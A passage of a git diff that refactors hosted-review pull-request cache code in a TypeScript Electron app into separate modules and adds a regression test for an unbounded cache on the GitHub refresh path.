 
   clearDiffComments: async (worktreeId) => {
-    const result = mutateComments(set, worktreeId, (existing) =>
+    const result = mutateDiffComments(set, worktreeId, (existing) =>
       existing.length === 0 ? null : []
     )
     if (!result) {
       return true
     }
     try {
-      await enqueuePersist(set, worktreeId, get, result)
+      await enqueueDiffCommentPersist(set, worktreeId, get, result)
       return true
     } catch (err) {
       console.error('Failed to persist diff comments:', err)
@@ -550,7 +238,7 @@ export const createDiffCommentsSlice: StateCreator<AppState, [], [], DiffComment
   },
 
   clearDiffCommentsForFile: async (worktreeId, filePath) => {
-    const result = mutateComments(set, worktreeId, (existing) => {
+    const result = mutateDiffComments(set, worktreeId, (existing) => {
       const next = existing.filter((c) => c.filePath !== filePath)
       return next.length === existing.length ? null : next
     })
@@ -558,7 +246,7 @@ export const createDiffCommentsSlice: StateCreator<AppState, [], [], DiffComment
       return true
     }
     try {
-      await enqueuePersist(set, worktreeId, get, result)
+      await enqueueDiffCommentPersist(set, worktreeId, get, result)
       return true
     } catch (err) {
       console.error('Failed to persist diff comments:', err)
diff --git a/src/renderer/src/store/slices/folder-workspace-owner-routed-mutations.test.ts b/src/renderer/src/store/slices/folder-workspace-owner-routed-mutations.test.ts
index cf15e35e885..91c78d42a82 100644
--- a/src/renderer/src/store/slices/folder-workspace-owner-routed-mutations.test.ts
+++ b/src/renderer/src/store/slices/folder-workspace-owner-routed-mutations.test.ts
@@ -79,11 +79,12 @@ describe('folder workspace owner-routed mutations', () => {
       folderWorkspaces: [folderWorkspace]
     })
 
-    await store
-      .getState()
-      .updateWorktreesMeta(
-        new Map([[folderWorkspaceKey(folderWorkspace.id), { manualOrder: 9000 }]])
-      )
+    await store.getState().updateWorktreesMeta([
+      {
+        worktreeId: folderWorkspaceKey(folderWorkspace.id),
+        updates: { manualOrder: 9000 }
+      }
+    ])
 
     expect(folderWorkspacesUpdate).toHaveBeenCalledWith({
       folderWorkspaceId: folderWorkspace.id,
diff --git a/src/renderer/src/store/slices/github-pr-refresh-hosted-review-cache-leak.test.ts b/src/renderer/src/store/slices/github-pr-refresh-hosted-review-cache-leak.test.ts
new file mode 100644
index 00000000000..e7a3062fd42
--- /dev/null
+++ b/src/renderer/src/store/slices/github-pr-refresh-hosted-review-cache-leak.test.ts
@@ -0,0 +1,101 @@
+/**
+ * Memory-leak regression: hostedReviewCache must stay bounded on the GitHub
+ * PR-refresh write path.
+ *
+ * `withHostedReviewCacheEntry` caps the map at HOSTED_REVIEW_CACHE_MAX, but the
+ * GitHub refresh path writes through `syncHostedReviewCacheFromGitHubPRResult`,
+ * which spreads a new key in without ever applying that cap. The key embeds the
+ * branch, so the map grows with every distinct (host, repo, branch) tuple a
+ * session ever refreshes.
+ */
+import { describe, it, expect, vi } from 'vitest'
+import { create } from 'zustand'
+import { createGitHubSlice } from './github'
+import { createHostedReviewSlice } from './hosted-review'
+import type { AppState } from '../types'
+import type { GitHubPRRefreshEvent } from '../../../../shared/github/pull-request-refresh-types'
+
+const MAX_ENTRIES = 500
+
+const mockApi = {
+  gh: {
+    prForBranch: vi.fn().mockResolvedValue(null),
+    refreshPRNow: vi.fn(),
+    enqueuePRRefresh: vi.fn().mockResolvedValue(undefined),
+    issue: vi.fn().mockResolvedValue(null),
+    prChecks: vi.fn().mockResolvedValue([])
+  },
+  hostedReview: { forBranch: vi.fn().mockResolvedValue(null) },
+  runtimeEnvironments: { call: vi.fn() },
+  cache: {
+    getGitHub: vi.fn().mockResolvedValue(null),
+    setGitHub: vi.fn().mockResolvedValue(undefined)
+  }
+}
+
+// @ts-expect-error -- minimal window.api stub for the slice under test
+globalThis.window = { api: mockApi }
+
+function createTestStore() {
+  return create<AppState>()(
+    (...a) =>
+      ({
+        ...createGitHubSlice(...a),
+        ...createHostedReviewSlice(...a)
+      }) as AppState
+  )
+}
+
+function foundEvent(branch: string, sequence: number): GitHubPRRefreshEvent {
+  return {
+    sequence,
+    reason: 'visible',
+    aliases: [
+      {
+        cacheKey: `local::/repo::${branch}`,
+        repoId: '/repo',
+        repoPath: '/repo',
+        branch,
+        executionHostId: 'local'
+      }
+    ],
+    outcome: {
+      kind: 'found',
+      fetchedAt: sequence,
+      pr: {
+        number: 1,
+        title: 'pr',
+        state: 'open',
+        url: 'https://example.test/pr/1',
+        checksStatus: 'success',
+        updatedAt: new Date().toISOString(),
+        mergeable: 'MERGEABLE'
+      }
+    }
+  }
+}
+
+describe('hostedReviewCache stays bounded on the PR-refresh write path', () => {
+  it('caps hostedReviewCache when driven past the cap by the real writer', () => {
+    const store = createTestStore()
+    const total = MAX_ENTRIES + 150
+    for (let i = 0; i < total; i++) {
+      store.getState().applyGitHubPRRefreshEvent(foundEvent(`branch-${i}`, i + 1))
+    }
+    const cache = store.getState().hostedReviewCache
+    expect(Object.keys(cache).length).toBeLessThanOrEqual(MAX_ENTRIES)
+    // Newest survives, oldest is evicted.
+    expect(cache[`local::/repo::branch-${total - 1}`]).toBeDefined()
+    expect(cache['local::/repo::branch-0']).toBeUndefined()
+  })
+
+  it('keeps every entry while under the cap', () => {
+    const store = createTestStore()
+    for (let i = 0; i < 10; i++) {
+      store.getState().applyGitHubPRRefreshEvent(foundEvent(`kept-${i}`, i + 1))
+    }
+    const cache = store.getState().hostedReviewCache
+    expect(Object.keys(cache)).toHaveLength(10)
+    expect(cache['local::/repo::kept-0']).toBeDefined()
+  })
+})
diff --git a/src/renderer/src/store/slices/hosted-review-cache-race.test.ts b/src/renderer/src/store/slices/hosted-review-cache-race.test.ts
index 22cc4f98449..59e253e1823 100644
--- a/src/renderer/src/store/slices/hosted-review-cache-race.test.ts
+++ b/src/renderer/src/store/slices/hosted-review-cache-race.test.ts
@@ -1,7 +1,8 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { create } from 'zustand'
 import type { AppState } from '../types'
-import { createHostedReviewSlice, getHostedReviewCacheKey } from './hosted-review'
+import { createHostedReviewSlice } from './hosted-review'
+import { getHostedReviewCacheKey } from './hosted-review-cache-identity'
 import type { HostedReviewInfo } from '../../../../shared/hosted-review'
 
 const runtimeRpc = vi.hoisted(() => ({
diff --git a/src/renderer/src/store/slices/hosted-review-cache-state.ts b/src/renderer/src/store/slices/hosted-review-cache-state.ts
new file mode 100644
index 00000000000..1a5153c6021
--- /dev/null
+++ b/src/renderer/src/store/slices/hosted-review-cache-state.ts
@@ -0,0 +1,207 @@
+import type {
+  CreateHostedReviewInput,
+  CreateStackedHostedReviewInput,
+  HostedReviewCreationEligibility,
+  HostedReviewInfo
+} from '../../../../shared/hosted-review'
+import type { Repo } from '../../../../shared/repo-types'
+import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../shared/execution-host'
+import type { AppState } from '../types'
+
+export type HostedReviewCacheEntry<T> = {
+  data: T | null
+  fetchedAt: number
+  linkedReviewHintKey?: string
+  branchLookupGitHubPRNumber?: number
+}
+export type HostedReviewCache = Record<string, HostedReviewCacheEntry<HostedReviewInfo>>
+
+export type HostedReviewFetchOptions = {
+  force?: boolean
+  repoId?: string
+  staleWhileRevalidate?: boolean
+  currentHeadOid?: string | null
+  /**
+   * Pass from surfaces that only render the selected worktree. The host re-checks
+   * that branch per minute and paces the O(N) card list far slower (#11532).
+   */
+  active?: boolean
+}
+export type CreateHostedReviewStoreInput = CreateHostedReviewInput & { repoId?: string | null }
+export type CreateStackedHostedReviewStoreInput = CreateStackedHostedReviewInput & {
+  repoId?: string | null
+}
+
+const CACHE_TTL_MS = 60_000
+const HOSTED_REVIEW_CACHE_MAX = 500
+// Why: the runtime path is bounded by callRuntimeRpc's own timeout; the local
+// Electron path had none, so a hung git/gh subprocess (e.g. a stalled Windows
+// credential probe) could leave the Create PR header stuck in its "Checking…"
+// loading state forever. Mirror the runtime bound so a never-settling probe
+// rejects and the UI can fall back to an actionable/retryable state.
+const CREATION_ELIGIBILITY_TIMEOUT_MS = 30_000
+
+export class HostedReviewCreationEligibilityTimeoutError extends Error {
+  constructor(timeoutMs: number) {
+    super(`Timed out checking pull request creation eligibility after ${timeoutMs}ms`)
+    this.name = 'HostedReviewCreationEligibilityTimeoutError'
+  }
+}
+
+export function withCreationEligibilityTimeout(
+  promise: Promise<HostedReviewCreationEligibility>,
+  timeoutMs = CREATION_ELIGIBILITY_TIMEOUT_MS
+): Promise<HostedReviewCreationEligibility> {
+  return new Promise((resolve, reject) => {
+    const timer = setTimeout(() => {
+      reject(new HostedReviewCreationEligibilityTimeoutError(timeoutMs))
+    }, timeoutMs)
+    promise.then(
+      (value) => {
+        clearTimeout(timer)
+        resolve(value)
+      },
+      (error) => {
+        clearTimeout(timer)
+        reject(error)
+      }
+    )
+  })
+}
+
+export function isFreshHostedReview<T>(
+  entry: HostedReviewCacheEntry<T> | undefined
+): entry is HostedReviewCacheEntry<T> {
+  return entry !== undefined && Date.now() - entry.fetchedAt < CACHE_TTL_MS
+}
+
+export function findHostedReviewRepoByPath(
+  repos: readonly Repo[] | undefined,
+  repoPath: string,
+  repoId?: string | null
+): Repo | undefined {
+  return repos?.find((candidate) =>
+    repoId ? candidate.id === repoId : candidate.path === repoPath
+  )
+}
+
+export function shouldRefetchForLinkedHint(
+  cached: HostedReviewCacheEntry<HostedReviewInfo> | undefined,
+  hintKey: string
+): boolean {
+  return cached !== undefined && hintKey !== '' && (cached.linkedReviewHintKey ?? '') !== hintKey
+}
+
+function isGitHubLinkedReviewHintKey(hintKey: string | undefined): boolean {
+  return hintKey?.split('|').some((key) => key.startsWith('github:')) ?? false
+}
+
+export function shouldRefetchGitHubScopedResultForNoHint(
+  cached: HostedReviewCacheEntry<HostedReviewInfo> | undefined,
+  hintKey: string
+): boolean {
+  // Why: a GitHub-scoped result does not prove the branch's publishing remote
+  // has no GitLab/other review for neutral lookup.
+  return (
+    cached !== undefined &&
+    hintKey === '' &&
+    isGitHubLinkedReviewHintKey(cached.linkedReviewHintKey)
+  )
+}
+
+export function canReuseInflightHint(inflightHintKey: string, nextHintKey: string): boolean {
+  return inflightHintKey === nextHintKey
+}
+
+export function isStaleMergedGitHubReviewForHead(
+  cached: HostedReviewCacheEntry<HostedReviewInfo> | undefined,
+  currentHeadOid: string | null | undefined
+): boolean {
+  // Why: a merged GitHub PR is only shown when the worktree sits on its head
+  // or on a commit confirmed to be part of the PR. The cache key is
+  // branch-scoped, so a worktree that advanced off the merged line of work
+  // must not reuse (or, on failure, preserve) the now-stale merged review.
+  const head = typeof currentHeadOid === 'string' ? currentHeadOid.trim() : ''
+  if (head.length === 0) {
+    return false
+  }
+  const data = cached?.data
+  return (
+    data?.provider === 'github' &&
+    data.state === 'merged' &&
+    typeof data.headSha === 'string' &&
+    data.headSha.length > 0 &&
+    data.headSha !== head &&
+    data.confirmedContainedHeadOid !== head
+  )
+}
+
+export function hasNewerHostedReviewCacheEntry(
+  cache: HostedReviewCache,
+  cacheKey: string,
+  requestStartedAt: number,
+  requestStartedEntry: HostedReviewCacheEntry<HostedReviewInfo> | undefined
+): boolean {
+  // Why: GitHub refresh events can update this shared cache while a branch
+  // lookup is in flight; older lookups must not resurrect stale results.
+  const entry = cache[cacheKey]
+  return (
+    entry !== undefined &&
+    (entry.fetchedAt > requestStartedAt ||
+      (entry.fetchedAt === requestStartedAt && entry !== requestStartedEntry))
+  )
+}
+
+export function withHostedReviewCacheEntry(
+  cache: HostedReviewCache,
+  cacheKey: string,
+  entry: HostedReviewCacheEntry<HostedReviewInfo>
+): HostedReviewCache {
+  const next = { ...cache, [cacheKey]: entry }
+  const keys = Object.keys(next)
+  if (keys.length <= HOSTED_REVIEW_CACHE_MAX) {
+    return next
+  }
+  const keep = new Set(
+    keys
+      .map((key) => ({ key, fetchedAt: next[key].fetchedAt }))
+      .sort((a, b) => b.fetchedAt - a.fetchedAt)
+      .slice(0, HOSTED_REVIEW_CACHE_MAX)
+      .map((item) => item.key)
+  )
+  const pruned: HostedReviewCache = {}
+  for (const key of keep) {
+    pruned[key] = next[key]
+  }
+  return pruned
+}
+
+export function settingsForHostedReviewRepoOwner(
+  settings: AppState['settings'],
+  repo: Pick<Repo, 'connectionId' | 'executionHostId'> | undefined
+): AppState['settings'] {
+  if (!repo) {
+    return settings
+  }
+  const parsed = parseExecutionHostId(getRepoExecutionHostId(repo))
+  if (parsed?.kind === 'runtime') {
+    return settings
+      ? { ...settings, activeRuntimeEnvironmentId: parsed.environmentId }
+      : ({ activeRuntimeEnvironmentId: parsed.environmentId } as AppState['settings'])
+  }
+  // Why: local and SSH-owned reviews are served by the desktop client's local
+  // IPC path, even when the sidebar is focused on a runtime host.
+  return settings
+    ? { ...settings, activeRuntimeEnvironmentId: null }
+    : ({ activeRuntimeEnvironmentId: null } as AppState['settings'])
+}
+
+export function settingsForHostedReviewActionOwner(
+  settings: AppState['settings'],
+  repo: Pick<Repo, 'connectionId' | 'executionHostId'> | undefined
+): AppState['settings'] {
+  if (!repo?.executionHostId && !repo?.connectionId) {
+    return settings
+  }
+  return settingsForHostedReviewRepoOwner(settings, repo)
+}
diff --git a/src/renderer/src/store/slices/hosted-review-cache.test.ts b/src/renderer/src/store/slices/hosted-review-cache.test.ts
index 163dfbd3332..473ac657441 100644
--- a/src/renderer/src/store/slices/hosted-review-cache.test.ts
+++ b/src/renderer/src/store/slices/hosted-review-cache.test.ts
@@ -1,12 +1,12 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { create } from 'zustand'
 import type { AppState } from '../types'
+import { createHostedReviewSlice } from './hosted-review'
 import {
   _clearHostedReviewRequestGenerationsForTest,
-  _getHostedReviewRequestGenerationCountForTest,
-  createHostedReviewSlice,
-  getHostedReviewCacheKey
-} from './hosted-review'
+  _getHostedReviewRequestGenerationCountForTest
+} from './hosted-review-request-state'
+import { getHostedReviewCacheKey } from './hosted-review-cache-identity'
 import type { HostedReviewInfo } from '../../../../shared/hosted-review'
 
 const runtimeRpc = vi.hoisted(() => ({
diff --git a/src/renderer/src/store/slices/hosted-review-card-refresh.ts b/src/renderer/src/store/slices/hosted-review-card-refresh.ts
new file mode 100644
index 00000000000..3ad33722f4a
--- /dev/null
+++ b/src/renderer/src/store/slices/hosted-review-card-refresh.ts
@@ -0,0 +1,38 @@
+import type { HostedReviewInfo } from '../../../../shared/hosted-review'
+import type { LinkedReviewHints } from './hosted-review-cache-identity'
+import type { HostedReviewFetchOptions } from './hosted-review-cache-state'
+
+type FetchHostedReviewForBranch = (
+  repoPath: string,
+  branch: string,
+  options?: HostedReviewFetchOptions & LinkedReviewHints
+) => Promise<HostedReviewInfo | null>
+
+type RefreshHostedReviewCardArgs = {
+  repoPath: string
+  repoId: string
+  branch: string
+  linkedGitHubPR?: number | null
+  fallbackGitHubPR?: number | null
+  linkedGitLabMR?: number | null
+  linkedBitbucketPR?: number | null
+  linkedAzureDevOpsPR?: number | null
+  linkedGiteaPR?: number | null
+}
+
+export function refreshHostedReviewCard(
+  fetchHostedReviewForBranch: FetchHostedReviewForBranch,
+  args: RefreshHostedReviewCardArgs
+): Promise<HostedReviewInfo | null> {
+  const fallbackGitHubPR = args.linkedGitHubPR == null ? (args.fallbackGitHubPR ?? null) : null
+  return fetchHostedReviewForBranch(args.repoPath, args.branch, {
+    force: true,
+    repoId: args.repoId,
+    linkedGitHubPR: args.linkedGitHubPR ?? null,
+    ...(fallbackGitHubPR !== null ? { fallbackGitHubPR } : {}),
+    linkedGitLabMR: args.linkedGitLabMR ?? null,
+    linkedBitbucketPR: args.linkedBitbucketPR ?? null,
+    linkedAzureDevOpsPR: args.linkedAzureDevOpsPR ?? null,
+    linkedGiteaPR: args.linkedGiteaPR ?? null
+  })
+}
diff --git a/src/renderer/src/store/slices/hosted-review-pr-cache.ts b/src/renderer/src/store/slices/hosted-review-pr-cache.ts
new file mode 100644
index 00000000000..b58d3e01994
--- /dev/null
+++ b/src/renderer/src/store/slices/hosted-review-pr-cache.ts
@@ -0,0 +1,39 @@
+import type { HostedReviewInfo } from '../../../../shared/hosted-review'
+import type { Repo } from '../../../../shared/repo-types'
+import type { AppState } from '../types'
+import { getGitHubPRCacheKey, getLegacyGitHubPRCacheKey } from './github-cache-key'
+
+export function clearHostedReviewConflictingPrCache(args: {
+  cache: NonNullable<AppState['prCache']>
+  review: HostedReviewInfo | null
+  repoPath: string
+  repoId: string | undefined
+  branch: string
+  settings: AppState['settings']
+  repo: Repo | undefined
+}): NonNullable<AppState['prCache']> {
+  if (!args.review || args.review.provider === 'github') {
+    return args.cache
+  }
+  const keys = [
+    getGitHubPRCacheKey(
+      args.repoPath,
+      args.repoId,
+      args.branch,
+      args.settings,
+      args.repo?.connectionId,
+      args.repo?.executionHostId,
+      args.repo !== undefined
+    ),
+    getLegacyGitHubPRCacheKey(args.repoPath, args.repoId, args.branch),
+    getLegacyGitHubPRCacheKey(args.repoPath, undefined, args.branch)
+  ]
+  if (!keys.some((key) => args.cache[key])) {
+    return args.cache
+  }
+  const next = { ...args.cache }
+  for (const key of keys) {
+    delete next[key]
+  }
+  return next
+}
diff --git a/src/renderer/src/store/slices/hosted-review-request-state.ts b/src/renderer/src/store/slices/hosted-review-request-state.ts
new file mode 100644
index 00000000000..5660bb6918c
--- /dev/null
+++ b/src/renderer/src/store/slices/hosted-review-request-state.ts
@@ -0,0 +1,23 @@
+import type { HostedReviewInfo } from '../../../../shared/hosted-review'
+
+export const inflightHostedReviewRequests = new Map<
+  string,
+  {
+    promise: Promise<HostedReviewInfo | null>
+    force: boolean
+    generation: number
+    linkedReviewHintKey: string
+  }
+>()
+
+export const hostedReviewRequestGenerations = new Map<string, number>()
+
+/** @internal - exposed for leak-regression tests only */
+export function _getHostedReviewRequestGenerationCountForTest(): number {
+  return hostedReviewRequestGenerations.size
+}
+
+/** @internal - exposed for leak-regression tests only */
+export function _clearHostedReviewRequestGenerationsForTest(): void {
+  hostedReviewRequestGenerations.clear()
+}
diff --git a/src/renderer/src/store/slices/hosted-review.test.ts b/src/renderer/src/store/slices/hosted-review.test.ts
index c438c2e8ebc..17d8cb20e2e 100644
--- a/src/renderer/src/store/slices/hosted-review.test.ts
+++ b/src/renderer/src/store/slices/hosted-review.test.ts
@@ -1,12 +1,10 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { create } from 'zustand'
 import type { AppState } from '../types'
-import {
-  createHostedReviewSlice,
-  getHostedReviewCacheKey,
-  HostedReviewCreationEligibilityTimeoutError,
-  refreshHostedReviewCard
-} from './hosted-review'
+import { createHostedReviewSlice } from './hosted-review'
+import { refreshHostedReviewCard } from './hosted-review-card-refresh'
+import { getHostedReviewCacheKey } from './hosted-review-cache-identity'
+import { HostedReviewCreationEligibilityTimeoutError } from './hosted-review-cache-state'
 import type { HostedReviewInfo } from '../../../../shared/hosted-review'
 
 const runtimeRpc = vi.hoisted(() => ({
diff --git a/src/renderer/src/store/slices/hosted-review.ts b/src/renderer/src/store/slices/hosted-review.ts
index 3c3940b6acc..8b26f2c9362 100644
--- a/src/renderer/src/store/slices/hosted-review.ts
+++ b/src/renderer/src/store/slices/hosted-review.ts
@@ -1,16 +1,11 @@
-/* eslint-disable max-lines -- Why: hosted-review cache identity, runtime dispatch,
-and race protection are kept together so branch review lookup invariants stay testable. */
 import type { StateCreator } from 'zustand'
 import type {
-  CreateHostedReviewInput,
   CreateHostedReviewResult,
-  CreateStackedHostedReviewInput,
   CreateStackedHostedReviewResult,
   HostedReviewCreationEligibility,
   HostedReviewCreationEligibilityArgs,
   HostedReviewInfo
 } from '../../../../shared/hosted-review'
-import type { Repo } from '../../../../shared/repo-types'
 import { callRuntimeRpc, getActiveRuntimeTarget } from '@/runtime/runtime-rpc-client'
 import type { AppState } from '../types'
 import {
@@ -18,228 +13,31 @@ import {
   linkedReviewHintKey,
   type LinkedReviewHints
 } from './hosted-review-cache-identity'
-import { getGitHubPRCacheKey, getLegacyGitHubPRCacheKey } from './github-cache-key'
-import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../shared/execution-host'
-
-export { getHostedReviewCacheKey, linkedReviewHintKey } from './hosted-review-cache-identity'
-
-type CacheEntry<T> = {
-  data: T | null
-  fetchedAt: number
-  linkedReviewHintKey?: string
-  branchLookupGitHubPRNumber?: number
-}
-type FetchOptions = {
-  force?: boolean
-  repoId?: string
-  staleWhileRevalidate?: boolean
-  currentHeadOid?: string | null
-  /**
-   * Pass from surfaces that only render the selected worktree. The host re-checks
-   * that branch per minute and paces the O(N) card list far slower (#11532).
-   */
-  active?: boolean
-}
-type CreateHostedReviewStoreInput = CreateHostedReviewInput & { repoId?: string | null }
-type CreateStackedHostedReviewStoreInput = CreateStackedHostedReviewInput & {
-  repoId?: string | null
-}
-
-const CACHE_TTL_MS = 60_000
-const HOSTED_REVIEW_CACHE_MAX = 500
-// Why: the runtime path is bounded by callRuntimeRpc's own timeout; the local
-// Electron path had none, so a hung git/gh subprocess (e.g. a stalled Windows
-// credential probe) could leave the Create PR header stuck in its "Checking…"
-// loading state forever. Mirror the runtime bound so a never-settling probe
-// rejects and the UI can fall back to an actionable/retryable state.
-const CREATION_ELIGIBILITY_TIMEOUT_MS = 30_000
-
-export class HostedReviewCreationEligibilityTimeoutError extends Error {
-  constructor(timeoutMs: number) {
-    super(`Timed out checking pull request creation eligibility after ${timeoutMs}ms`)
-    this.name = 'HostedReviewCreationEligibilityTimeoutError'
-  }
-}
-
-function withCreationEligibilityTimeout(
-  promise: Promise<HostedReviewCreationEligibility>,
-  timeoutMs = CREATION_ELIGIBILITY_TIMEOUT_MS
-): Promise<HostedReviewCreationEligibility> {
-  return new Promise((resolve, reject) => {
-    const timer = setTimeout(() => {
-      reject(new HostedReviewCreationEligibilityTimeoutError(timeoutMs))
-    }, timeoutMs)
-    promise.then(
-      (value) => {
-        clearTimeout(timer)
-        resolve(value)
-      },
-      (error) => {
-        clearTimeout(timer)
-        reject(error)
-      }
-    )
-  })
-}
-
-const inflightHostedReviewRequests = new Map<
-  string,
-  {
-    promise: Promise<HostedReviewInfo | null>
-    force: boolean
-    generation: number
-    linkedReviewHintKey: string
-  }
->()
-const requestGenerations = new Map<string, number>()
-
-/** @internal - exposed for leak-regression tests only */
-export function _getHostedReviewRequestGenerationCountForTest(): number {
-  return requestGenerations.size
-}
-
-/** @internal - exposed for leak-regression tests only */
-export function _clearHostedReviewRequestGenerationsForTest(): void {
-  requestGenerations.clear()
-}
-
-function isFresh<T>(entry: CacheEntry<T> | undefined): entry is CacheEntry<T> {
-  return entry !== undefined && Date.now() - entry.fetchedAt < CACHE_TTL_MS
-}
-
-function findHostedReviewRepoByPath(
-  repos: readonly Repo[] | undefined,
-  repoPath: string,
-  repoId?: string | null
-): Repo | undefined {
-  return repos?.find((candidate) =>
-    repoId ? candidate.id === repoId : candidate.path === repoPath
-  )
-}
-
-function shouldRefetchForLinkedHint(
-  cached: CacheEntry<HostedReviewInfo> | undefined,
-  hintKey: string
-): boolean {
-  return cached !== undefined && hintKey !== '' && (cached.linkedReviewHintKey ?? '') !== hintKey
-}
-
-function isGitHubLinkedReviewHintKey(hintKey: string | undefined): boolean {
-  return hintKey?.split('|').some((key) => key.startsWith('github:')) ?? false
-}
-
-function shouldRefetchGitHubScopedResultForNoHint(
-  cached: CacheEntry<HostedReviewInfo> | undefined,
-  hintKey: string
-): boolean {
-  // Why: a GitHub-scoped result does not prove the branch's publishing remote
-  // has no GitLab/other review for neutral lookup.
-  return (
-    cached !== undefined &&
-    hintKey === '' &&
-    isGitHubLinkedReviewHintKey(cached.linkedReviewHintKey)
-  )
-}
-
-function canReuseInflightHint(inflightHintKey: string, nextHintKey: string): boolean {
-  return inflightHintKey === nextHintKey
-}
-
-function isStaleMergedGitHubReviewForHead(
-  cached: CacheEntry<HostedReviewInfo> | undefined,
-  currentHeadOid: string | null | undefined
-): boolean {
-  // Why: a merged GitHub PR is only shown when the worktree sits on its head
-  // or on a commit confirmed to be part of the PR. The cache key is
-  // branch-scoped, so a worktree that advanced off the merged line of work
-  // must not reuse (or, on failure, preserve) the now-stale merged review.
-  const head = typeof currentHeadOid === 'string' ? currentHeadOid.trim() : ''
-  if (head.length === 0) {
-    return false
-  }
-  const data = cached?.data
-  return (
-    data?.provider === 'github' &&
-    data.state === 'merged' &&
-    typeof data.headSha === 'string' &&
-    data.headSha.length > 0 &&
-    data.headSha !== head &&
-    data.confirmedContainedHeadOid !== head
-  )
-}
-
-function hasNewerHostedReviewCacheEntry(
-  cache: HostedReviewSlice['hostedReviewCache'],
-  cacheKey: string,
-  requestStartedAt: number,
-  requestStartedEntry: CacheEntry<HostedReviewInfo> | undefined
-): boolean {
-  // Why: GitHub refresh events can update this shared cache while a branch
-  // lookup is in flight; older lookups must not resurrect stale results.
-  const entry = cache[cacheKey]
-  return (
-    entry !== undefined &&
-    (entry.fetchedAt > requestStartedAt ||
-      (entry.fetchedAt === requestStartedAt && entry !== requestStartedEntry))
-  )
-}
-
-function withHostedReviewCacheEntry(
-  cache: HostedReviewSlice['hostedReviewCache'],
-  cacheKey: string,
-  entry: CacheEntry<HostedReviewInfo>
-): HostedReviewSlice['hostedReviewCache'] {
-  const next = { ...cache, [cacheKey]: entry }
-  const keys = Object.keys(next)
-  if (keys.length <= HOSTED_REVIEW_CACHE_MAX) {
-    return next
-  }
-  const keep = new Set(
-    keys
-      .map((key) => ({ key, fetchedAt: next[key].fetchedAt }))
-      .sort((a, b) => b.fetchedAt - a.fetchedAt)
-      .slice(0, HOSTED_REVIEW_CACHE_MAX)
-      .map((item) => item.key)
-  )
-  const pruned: HostedReviewSlice['hostedReviewCache'] = {}
-  for (const key of keep) {
-    pruned[key] = next[key]
-  }
-  return pruned
-}
-
-function settingsForHostedReviewRepoOwner(
-  settings: AppState['settings'],
-  repo: Pick<Repo, 'connectionId' | 'executionHostId'> | undefined
-): AppState['settings'] {
-  if (!repo) {
-    return settings
-  }
-  const parsed = parseExecutionHostId(getRepoExecutionHostId(repo))
-  if (parsed?.kind === 'runtime') {
-    return settings
-      ? { ...settings, activeRuntimeEnvironmentId: parsed.environmentId }
-      : ({ activeRuntimeEnvironmentId: parsed.environmentId } as AppState['settings'])
-  }
-  // Why: local and SSH-owned reviews are served by the desktop client's local
-  // IPC path, even when the sidebar is focused on a runtime host.
-  return settings
-    ? { ...settings, activeRuntimeEnvironmentId: null }
-    : ({ activeRuntimeEnvironmentId: null } as AppState['settings'])
-}
-
-function settingsForHostedReviewActionOwner(
-  settings: AppState['settings'],
-  repo: Pick<Repo, 'connectionId' | 'executionHostId'> | undefined
-): AppState['settings'] {
-  if (!repo?.executionHostId && !repo?.connectionId) {
-    return settings
-  }
-  return settingsForHostedReviewRepoOwner(settings, repo)
-}
+import {
+  canReuseInflightHint,
+  findHostedReviewRepoByPath,
+  hasNewerHostedReviewCacheEntry,
+  isFreshHostedReview,
+  isStaleMergedGitHubReviewForHead,
+  settingsForHostedReviewActionOwner,
+  settingsForHostedReviewRepoOwner,
+  shouldRefetchForLinkedHint,
+  shouldRefetchGitHubScopedResultForNoHint,
+  withCreationEligibilityTimeout,
+  withHostedReviewCacheEntry,
+  type CreateHostedReviewStoreInput,
+  type CreateStackedHostedReviewStoreInput,
+  type HostedReviewCacheEntry,
+  type HostedReviewFetchOptions
+} from './hosted-review-cache-state'
+import { clearHostedReviewConflictingPrCache } from './hosted-review-pr-cache'
+import {
+  hostedReviewRequestGenerations as requestGenerations,
+  inflightHostedReviewRequests
+} from './hosted-review-request-state'
 
 export type HostedReviewSlice = {
-  hostedReviewCache: Record<string, CacheEntry<HostedReviewInfo>>
+  hostedReviewCache: Record<string, HostedReviewCacheEntry<HostedReviewInfo>>
   getHostedReviewCreationEligibility: (
     args: HostedReviewCreationEligibilityArgs
   ) => Promise<HostedReviewCreationEligibility>
@@ -254,39 +52,10 @@ export type HostedReviewSlice = {
   fetchHostedReviewForBranch: (
     repoPath: string,
     branch: string,
-    options?: FetchOptions & LinkedReviewHints
+    options?: HostedReviewFetchOptions & LinkedReviewHints
   ) => Promise<HostedReviewInfo | null>
 }
 
-type RefreshHostedReviewCardArgs = {
-  repoPath: string
-  repoId: string
-  branch: string
-  linkedGitHubPR?: number | null
-  fallbackGitHubPR?: number | null
-  linkedGitLabMR?: number | null
-  linkedBitbucketPR?: number | null
-  linkedAzureDevOpsPR?: number | null
-  linkedGiteaPR?: number | null
-}
-
-export function refreshHostedReviewCard(
-  fetchHostedReviewForBranch: HostedReviewSlice['fetchHostedReviewForBranch'],
-  args: RefreshHostedReviewCardArgs
-): Promise<HostedReviewInfo | null> {
-  const fallbackGitHubPR = args.linkedGitHubPR == null ? (args.fallbackGitHubPR ?? null) : null
-  return fetchHostedReviewForBranch(args.repoPath, args.branch, {
-    force: true,
-    repoId: args.repoId,
-    linkedGitHubPR: args.linkedGitHubPR ?? null,
-    ...(fallbackGitHubPR !== null ? { fallbackGitHubPR } : {}),
-    linkedGitLabMR: args.linkedGitLabMR ?? null,
-    linkedBitbucketPR: args.linkedBitbucketPR ?? null,
-    linkedAzureDevOpsPR: args.linkedAzureDevOpsPR ?? null,
-    linkedGiteaPR: args.linkedGiteaPR ?? null
-  })
-}
-
 export const createHostedReviewSlice: StateCreator<AppState, [], [], HostedReviewSlice> = (
   set,
   get
@@ -406,7 +175,7 @@ export const createHostedReviewSlice: StateCreator<AppState, [], [], HostedRevie
       !linkedRefetch &&
       !scopedResultRefetch &&
       !staleMergedHeadRefetch &&
-      isFresh(cached)
+      isFreshHostedReview(cached)
     ) {
       return cached.data
     }
@@ -464,32 +233,16 @@ export const createHostedReviewSlice: StateCreator<AppState, [], [], HostedRevie
               ) {
                 return {}
               }
-              const prCacheKeys = [
-                getGitHubPRCacheKey(
-                  repoPath,
-                  repoId,
-                  branch,
-                  ownerSettings,
-                  repo?.connectionId,
